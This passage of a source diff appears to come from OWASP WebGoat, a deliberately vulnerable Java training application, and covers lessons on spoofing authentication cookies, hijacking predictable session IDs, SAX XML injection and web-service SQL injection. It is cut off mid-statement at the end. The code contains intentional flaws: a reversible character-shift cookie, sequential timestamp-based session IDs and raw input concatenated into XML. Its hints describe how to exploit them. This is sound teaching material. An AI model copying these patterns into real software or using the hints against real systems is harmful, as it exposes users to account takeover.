if ((username.length() > 0) && (password.length() > 0)) if ((username.length() > 0) && (password.length() > 0))
{ {
String loginID = ""; String loginID = "";
if (username.equals("webgoat") && password.equals("webgoat")) if (username.equals("webgoat") && password.equals("webgoat"))
{ {
loginID = encode("webgoat12345"); loginID = encode("webgoat12345");
} }
else if (username.equals("aspect") && password.equals("aspect")) else if (username.equals("aspect") && password.equals("aspect"))
{ {
loginID = encode("aspect12345"); loginID = encode("aspect12345");
} }
if (loginID != "") if (loginID != "")
{ {
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID); Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
s.setMessage(WebGoatI18N.get("IdentityRemembered")); s.setMessage(WebGoatI18N.get("IdentityRemembered"));
s.getResponse().addCookie(newCookie); s.getResponse().addCookie(newCookie);
return (username); return (username);
} }
else else
{ {
s.setMessage(WebGoatI18N.get("InvalidUsernameAndPassword")); s.setMessage(WebGoatI18N.get("InvalidUsernameAndPassword"));
} }
} }
return (null); return (null);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
if (logout) if (logout)
{ {
s.setMessage(WebGoatI18N.get("PasswordForgotten")); s.setMessage(WebGoatI18N.get("PasswordForgotten"));
s.eatCookies(); s.eatCookies();
return (makeLogin(s)); return (makeLogin(s));
} }
try try
{ {
String user = checkCookie(s); String user = checkCookie(s);
if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "COOKIE")); } if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "COOKIE")); }
user = checkParams(s); user = checkParams(s);
if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "PARAMETERS")); } if ((user != null) && (user.length() > 0)) { return (makeUser(s, user, "PARAMETERS")); }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (makeLogin(s)); return (makeLogin(s));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param value * @param value
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private String encode(String value) private String encode(String value)
{ {
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
StringBuffer encoded = new StringBuffer(); StringBuffer encoded = new StringBuffer();
for (int i = 0; i < value.length(); i++) for (int i = 0; i < value.length(); i++)
{ {
encoded.append(String.valueOf((char) (value.charAt(i) + 1))); encoded.append(String.valueOf((char) (value.charAt(i) + 1)));
} }
return encoded.reverse().toString(); return encoded.reverse().toString();
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
} }
/** /**
* Gets the category attribute of the WeakAuthenticationCookie object * Gets the category attribute of the WeakAuthenticationCookie object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.SESSION_MANAGEMENT; return Category.SESSION_MANAGEMENT;
} }
/** /**
* Gets the cookie attribute of the CookieScreen object * Gets the cookie attribute of the CookieScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return The cookie value * @return The cookie value
*/ */
protected String getCookie(WebSession s) protected String getCookie(WebSession s)
{ {
Cookie[] cookies = s.getRequest().getCookies(); Cookie[] cookies = s.getRequest().getCookies();
for (int i = 0; i < cookies.length; i++) for (int i = 0; i < cookies.length; i++)
{ {
if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) { return (cookies[i].getValue()); } if (cookies[i].getName().equalsIgnoreCase(AUTHCOOKIE)) { return (cookies[i].getValue()); }
} }
return (null); return (null);
} }
/** /**
* Gets the hints attribute of the CookieScreen object * Gets the hints attribute of the CookieScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints1")); hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints1"));
hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints2")); hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints2"));
hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints3")); hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints3"));
hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints4")); hints.add(WebGoatI18N.get("WeakAuthenticationCookieHints4"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CookieScreen object * Gets the title attribute of the CookieScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Spoof an Authentication Cookie"); return ("Spoof an Authentication Cookie");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement(WebGoatI18N.get("SignIn"))); ec.addElement(new H1().addElement(WebGoatI18N.get("SignIn")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH() tr.addElement(new TH()
.addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn")) .addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn"))
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%")); tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName"))))); row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName")))));
row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password"))))); row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password")))));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
row2.addElement(new TD(input2)); row2.addElement(new TD(input2));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Login"));
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @param user * @param user
* Description of the Parameter * Description of the Parameter
* @param method * @param method
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception Exception * @exception Exception
* Description of the Exception * Description of the Exception
*/ */
protected Element makeUser(WebSession s, String user, String method) throws Exception protected Element makeUser(WebSession s, String user, String method) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser") + user)); ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser") + user));
ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method)); ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method));
ec.addElement(new P().addElement(ECSFactory.makeLink(WebGoatI18N.get("Logout"), LOGOUT, true))); ec.addElement(new P().addElement(ECSFactory.makeLink(WebGoatI18N.get("Logout"), LOGOUT, true)));
ec.addElement(new P().addElement(ECSFactory.makeLink(WebGoatI18N.get("Refresh"), "", ""))); ec.addElement(new P().addElement(ECSFactory.makeLink(WebGoatI18N.get("Refresh"), "", "")));
return (ec); return (ec);
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -53,212 +53,212 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class WeakSessionID extends LessonAdapter public class WeakSessionID extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String SESSIONID = "WEAKID"; protected final static String SESSIONID = "WEAKID";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
protected static List<String> sessionList = new ArrayList<String>(); protected static List<String> sessionList = new ArrayList<String>();
protected static long seq = Math.round(Math.random() * 10240) + 10000; protected static long seq = Math.round(Math.random() * 10240) + 10000;
protected static long lastTime = System.currentTimeMillis(); protected static long lastTime = System.currentTimeMillis();
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *
* @return The credits value * @return The credits value
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO); return super.getCustomCredits("By Rogan Dawes of ", ASPECT_LOGO);
} }
protected String newCookie(WebSession s) protected String newCookie(WebSession s)
{ {
long now = System.currentTimeMillis(); long now = System.currentTimeMillis();
seq++; seq++;
if (seq % 29 == 0) if (seq % 29 == 0)
{ {
String target = encode(seq++, lastTime + (now - lastTime) / 2); String target = encode(seq++, lastTime + (now - lastTime) / 2);
sessionList.add(target); sessionList.add(target);
s.setMessage(target); s.setMessage(target);
if (sessionList.size() > 100) sessionList.remove(0); if (sessionList.size() > 100) sessionList.remove(0);
} }
lastTime = now; lastTime = now;
return encode(seq, now); return encode(seq, now);
} }
private String encode(long seq, long time) private String encode(long seq, long time)
{ {
return new String(Long.toString(seq) + "-" + Long.toString(time)); return new String(Long.toString(seq) + "-" + Long.toString(time));
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
try try
{ {
String sessionid = s.getCookie(SESSIONID); String sessionid = s.getCookie(SESSIONID);
if (sessionid != null && sessionList.indexOf(sessionid) > -1) if (sessionid != null && sessionList.indexOf(sessionid) > -1)
{ {
return makeSuccess(s); return makeSuccess(s);
} }
else else
{ {
return makeLogin(s); return makeLogin(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (null); return (null);
} }
/** /**
* Gets the category attribute of the WeakAuthenticationCookie object * Gets the category attribute of the WeakAuthenticationCookie object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.SESSION_MANAGEMENT; return Category.SESSION_MANAGEMENT;
} }
/** /**
* Gets the hints attribute of the CookieScreen object * Gets the hints attribute of the CookieScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The server skips authentication if you send the right cookie."); hints.add("The server skips authentication if you send the right cookie.");
hints.add("Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?"); hints.add("Is the cookie value predictable? Can you see gaps where someone else has acquired a cookie?");
hints.add("Try harder, you brute!"); hints.add("Try harder, you brute!");
hints.add("The first part of the cookie is a sequential number, the second part is milliseconds."); hints.add("The first part of the cookie is a sequential number, the second part is milliseconds.");
hints.add("After the 29th try, the skipped identifier is printed to your screen. Use that to login."); hints.add("After the 29th try, the skipped identifier is printed to your screen. Use that to login.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CookieScreen object * Gets the title attribute of the CookieScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Hijack a Session"); return ("Hijack a Session");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String weakid = s.getCookie(SESSIONID); String weakid = s.getCookie(SESSIONID);
if (weakid == null) if (weakid == null)
{ {
weakid = newCookie(s); weakid = newCookie(s);
Cookie cookie = new Cookie(SESSIONID, weakid); Cookie cookie = new Cookie(SESSIONID, weakid);
s.getResponse().addCookie(cookie); s.getResponse().addCookie(cookie);
} }
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
String username = null; String username = null;
String password = null; String password = null;
try try
{ {
username = s.getParser().getStringParameter(USERNAME); username = s.getParser().getStringParameter(USERNAME);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
} }
try try
{ {
password = s.getParser().getStringParameter(PASSWORD); password = s.getParser().getStringParameter(PASSWORD);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
} }
if (username != null || password != null) if (username != null || password != null)
{ {
s.setMessage("Invalid username or password."); s.setMessage("Invalid username or password.");
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Please sign in to your account.").setColSpan(2).setAlign("left")); tr.addElement(new TH().addElement("Please sign in to your account.").setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: ")))); row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: ")))); row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
Input input3 = new Input(Input.HIDDEN, SESSIONID, weakid); Input input3 = new Input(Input.HIDDEN, SESSIONID, weakid);
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
row2.addElement(new TD(input2)); row2.addElement(new TD(input2));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
t.addElement(input3); t.addElement(input3);
Element b = ECSFactory.makeButton("Login"); Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
} }

View File

@ -46,105 +46,105 @@ import org.owasp.webgoat.session.*;
public class WelcomeScreen extends Screen public class WelcomeScreen extends Screen
{ {
/** /**
* Constructor for the WelcomeScreen object * Constructor for the WelcomeScreen object
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
*/ */
public WelcomeScreen(WebSession s) public WelcomeScreen(WebSession s)
{ {
setup(s); setup(s);
} }
/** /**
* Constructor for the WelcomeScreen object * Constructor for the WelcomeScreen object
*/ */
public WelcomeScreen() public WelcomeScreen()
{ {
} }
public void setup(WebSession s) public void setup(WebSession s)
{ {
// call createContent first so messages will go somewhere // call createContent first so messages will go somewhere
Form form = new Form("attack", Form.POST).setName("form").setEncType(""); Form form = new Form("attack", Form.POST).setName("form").setEncType("");
form.addElement(wrapForm(s)); form.addElement(wrapForm(s));
TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign("left").addElement(form); TD lowerright = new TD().setHeight("100%").setVAlign("top").setAlign("left").addElement(form);
TR row = new TR().addElement(lowerright); TR row = new TR().addElement(lowerright);
Table layout = new Table().setBgColor(HtmlColor.WHITE).setCellSpacing(0).setCellPadding(0).setBorder(0); Table layout = new Table().setBgColor(HtmlColor.WHITE).setCellSpacing(0).setCellPadding(0).setBorder(0);
layout.addElement(row); layout.addElement(row);
setContent(layout); setContent(layout);
} }
protected Element wrapForm(WebSession s) protected Element wrapForm(WebSession s)
{ {
if (s == null) { return new StringElement("Invalid Session"); } if (s == null) { return new StringElement("Invalid Session"); }
Table container = new Table().setWidth("100%").setCellSpacing(10).setCellPadding(0).setBorder(0); Table container = new Table().setWidth("100%").setCellSpacing(10).setCellPadding(0).setBorder(0);
// CreateContent can generate error messages so you MUST call it before makeMessages() // CreateContent can generate error messages so you MUST call it before makeMessages()
Element content = createContent(s); Element content = createContent(s);
container.addElement(new TR().addElement(new TD().setColSpan(2).setVAlign("TOP").addElement(makeMessages(s)))); container.addElement(new TR().addElement(new TD().setColSpan(2).setVAlign("TOP").addElement(makeMessages(s))));
container.addElement(new TR().addElement(new TD().setColSpan(2).addElement(content))); container.addElement(new TR().addElement(new TD().setColSpan(2).addElement(content)));
container.addElement(new TR()); container.addElement(new TR());
return (container); return (container);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Element b = ECSFactory.makeButton("Start the Course!"); Element b = ECSFactory.makeButton("Start the Course!");
ec.addElement(new Center(b)); ec.addElement(new Center(b));
return (ec); return (ec);
} }
public Element getCredits() public Element getCredits()
{ {
return new ElementContainer(); return new ElementContainer();
} }
/** /**
* Gets the instructions attribute of the WelcomeScreen object * Gets the instructions attribute of the WelcomeScreen object
* *
* @return The instructions value * @return The instructions value
*/ */
protected String getInstructions() protected String getInstructions()
{ {
String instructions = "Enter your name and learn how HTTP really works!"; String instructions = "Enter your name and learn how HTTP really works!";
return (instructions); return (instructions);
} }
/** /**
* Gets the title attribute of the WelcomeScreen object * Gets the title attribute of the WelcomeScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Welcome to the Penetration Testing Course"); return ("Welcome to the Penetration Testing Course");
} }
/* /*
* (non-Javadoc) * (non-Javadoc)
* @see session.Screen#getRole() * @see session.Screen#getRole()
*/ */
public String getRole() public String getRole()
{ {
return AbstractLesson.USER_ROLE; return AbstractLesson.USER_ROLE;
} }
} }

View File

@ -62,166 +62,166 @@ import org.xml.sax.helpers.XMLReaderFactory;
public class WsSAXInjection extends LessonAdapter public class WsSAXInjection extends LessonAdapter
{ {
private final static String PASSWORD = "password"; private final static String PASSWORD = "password";
private String password; private String password;
private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" + "<wsns0:Envelope\n" private static String template1 = "<?xml version='1.0' encoding='UTF-8'?>\n" + "<wsns0:Envelope\n"
+ " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n" + " xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\n"
+ " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n" + " xmlns:xsd='http://www.w3.org/2001/XMLSchema'\n"
+ " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n" + " xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\n"
+ " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns0:Body>\n" + " xmlns:wsns1='http://lessons.webgoat.owasp.org'>\n" + " <wsns0:Body>\n"
+ " <wsns1:changePassword>\n" + " <id xsi:type='xsd:int'>101</id>\n" + " <wsns1:changePassword>\n" + " <id xsi:type='xsd:int'>101</id>\n"
+ " <password xsi:type='xsd:string'>"; + " <password xsi:type='xsd:string'>";
private static String template2 = "</password>\n" + " </wsns1:changePassword>\n" + " </wsns0:Body>\n" private static String template2 = "</password>\n" + " </wsns1:changePassword>\n" + " </wsns0:Body>\n"
+ "</wsns0:Envelope>"; + "</wsns0:Envelope>";
static boolean completed; static boolean completed;
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The backend parses the XML received using a SAX parser."); hints.add("The backend parses the XML received using a SAX parser.");
hints.add("SAX parsers often don't care if an element is repeated."); hints.add("SAX parsers often don't care if an element is repeated.");
hints.add("If there are repeated elements, the last one is the one that is effective"); hints.add("If there are repeated elements, the last one is the one that is effective");
hints.add("Try injecting matching 'close' tags, and creating your own XML elements"); hints.add("Try injecting matching 'close' tags, and creating your own XML elements");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(150); private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Web Service SAX Injection"; return "Web Service SAX Injection";
} }
protected Element makeInputLine(WebSession s) protected Element makeInputLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Please change your password: ")); ec.addElement(new P().addElement("Please change your password: "));
Input input = new Input(Input.TEXT, PASSWORD); Input input = new Input(Input.TEXT, PASSWORD);
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Go!"); Element b = ECSFactory.makeButton("Go!");
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(makeInputLine(s)); ec.addElement(makeInputLine(s));
password = s.getParser().getRawParameter(PASSWORD, null); password = s.getParser().getRawParameter(PASSWORD, null);
PRE pre = new PRE(); PRE pre = new PRE();
String xml = template1; String xml = template1;
xml = xml + (password == null ? "[password]" : password); xml = xml + (password == null ? "[password]" : password);
xml = xml + template2; xml = xml + template2;
pre.addElement(HtmlEncoder.encode(xml)); pre.addElement(HtmlEncoder.encode(xml));
ec.addElement(pre); ec.addElement(pre);
if (password != null) if (password != null)
{ {
ec.addElement(checkXML(s, xml)); ec.addElement(checkXML(s, xml));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
private Element checkXML(WebSession s, String xml) private Element checkXML(WebSession s, String xml)
{ {
try try
{ {
XMLReader reader = XMLReaderFactory.createXMLReader(); XMLReader reader = XMLReaderFactory.createXMLReader();
PasswordChanger changer = new PasswordChanger(); PasswordChanger changer = new PasswordChanger();
reader.setContentHandler(changer); reader.setContentHandler(changer);
reader.parse(new InputSource(new StringReader(xml))); reader.parse(new InputSource(new StringReader(xml)));
if (!"101".equals(changer.getId())) if (!"101".equals(changer.getId()))
{ {
makeSuccess(s); makeSuccess(s);
return new B(HtmlEncoder.encode("You have changed the passsword for userid " + changer.getId() return new B(HtmlEncoder.encode("You have changed the passsword for userid " + changer.getId()
+ " to '" + changer.getPassword() + "'")); + " to '" + changer.getPassword() + "'"));
} }
else else
{ {
return new StringElement("You changed the password for userid 101. Try again."); return new StringElement("You changed the password for userid 101. Try again.");
} }
} catch (SAXException saxe) } catch (SAXException saxe)
{ {
return new StringElement("The XML was not well formed: " + saxe.getLocalizedMessage()); return new StringElement("The XML was not well formed: " + saxe.getLocalizedMessage());
} catch (IOException ioe) } catch (IOException ioe)
{ {
return new StringElement(ioe.getLocalizedMessage()); return new StringElement(ioe.getLocalizedMessage());
} }
} }
private static class PasswordChanger extends DefaultHandler private static class PasswordChanger extends DefaultHandler
{ {
private static String PASSWORD_TAG = "password"; private static String PASSWORD_TAG = "password";
private static String ID_TAG = "id"; private static String ID_TAG = "id";
private String id = null; private String id = null;
private String password = null; private String password = null;
private StringBuffer text = new StringBuffer(); private StringBuffer text = new StringBuffer();
public void startElement(String uri, String localName, String qName, Attributes atts) throws SAXException public void startElement(String uri, String localName, String qName, Attributes atts) throws SAXException
{ {
text.delete(0, text.length()); text.delete(0, text.length());
} }
public void characters(char[] ch, int start, int length) throws SAXException public void characters(char[] ch, int start, int length) throws SAXException
{ {
text.append(ch, start, length); text.append(ch, start, length);
} }
public void endElement(String uri, String localName, String qName) throws SAXException public void endElement(String uri, String localName, String qName) throws SAXException
{ {
if (localName.equals(ID_TAG)) id = text.toString(); if (localName.equals(ID_TAG)) id = text.toString();
if (localName.equals(PASSWORD_TAG)) password = text.toString(); if (localName.equals(PASSWORD_TAG)) password = text.toString();
text.delete(0, text.length()); text.delete(0, text.length());
} }
public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException
{ {
text.append(ch, start, length); text.append(ch, start, length);
} }
public String getId() public String getId()
{ {
return id; return id;
} }
public String getPassword() public String getPassword()
{ {
return password; return password;
} }
} }
} }

View File

@ -61,215 +61,215 @@ import org.owasp.webgoat.session.WebgoatContext;
public class WsSqlInjection extends LessonAdapter public class WsSqlInjection extends LessonAdapter
{ {
public final static String ccNumber = "cc_number"; public final static String ccNumber = "cc_number";
private final static String ACCT_NUM = "account_number"; private final static String ACCT_NUM = "account_number";
private String accountNumber; private String accountNumber;
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0) final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setVspace(0); .setVspace(0);
/* /*
* (non-Javadoc) * (non-Javadoc)
* @see lessons.AbstractLesson#getMenuItem() * @see lessons.AbstractLesson#getMenuItem()
*/ */
static boolean completed; static boolean completed;
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class is also automatically * We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext() * instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
* *
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) public void setWebgoatContext(WebgoatContext webgoatContext)
{ {
WsSqlInjection.webgoatContext = webgoatContext; WsSqlInjection.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() public WebgoatContext getWebgoatContext()
{ {
return WsSqlInjection.webgoatContext; return WsSqlInjection.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
